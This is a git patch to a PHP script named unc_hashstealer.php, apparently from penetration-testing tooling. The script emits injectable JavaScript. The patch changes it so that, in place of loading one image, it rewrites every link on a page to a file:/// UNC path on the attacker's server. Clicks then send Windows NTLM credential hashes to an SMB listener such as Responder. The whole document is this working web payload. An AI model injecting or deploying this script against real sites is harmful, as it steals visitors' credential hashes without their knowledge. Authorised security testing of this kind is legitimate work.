From 2d310721936ef2bc7e3bc4858ebbafc4a1990a1e Mon Sep 17 00:00:00 2001
From: Strawp <github@strawp.net>
Date: Tue, 2 Aug 2016 17:05:09 +0100
Subject: [PATCH] Changed UNC hash stealer to re-write all links on the page to
 UNC path

---
 unc_hashstealer.php | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/unc_hashstealer.php b/unc_hashstealer.php
index 6ebc06b..d660fa1 100755
--- a/unc_hashstealer.php
+++ b/unc_hashstealer.php
@@ -1,8 +1,12 @@
 <?php
   /**
-  * Inject this in order to have the browser call out to an SMB endpoint, e.g. Responder
+  * Inject this in order to have all "a" links on the page reassigned to point to the SMB endpoint (e.g. Responder) on the host this script is running on
   */
-  $url = "file:///\\".$_SERVER["SERVER_ADDR"];
+  $url = "file:///\\\\".$_SERVER["SERVER_ADDR"]."/page";
   echo "// $url\n";
 ?>
-new Image().src="<?php echo $url; ?>";
+col = document.getElementsByTagName('a');
+for( var i in col ){
+  el = col[i];
+  el.href = '<?php echo $url; ?>';
+}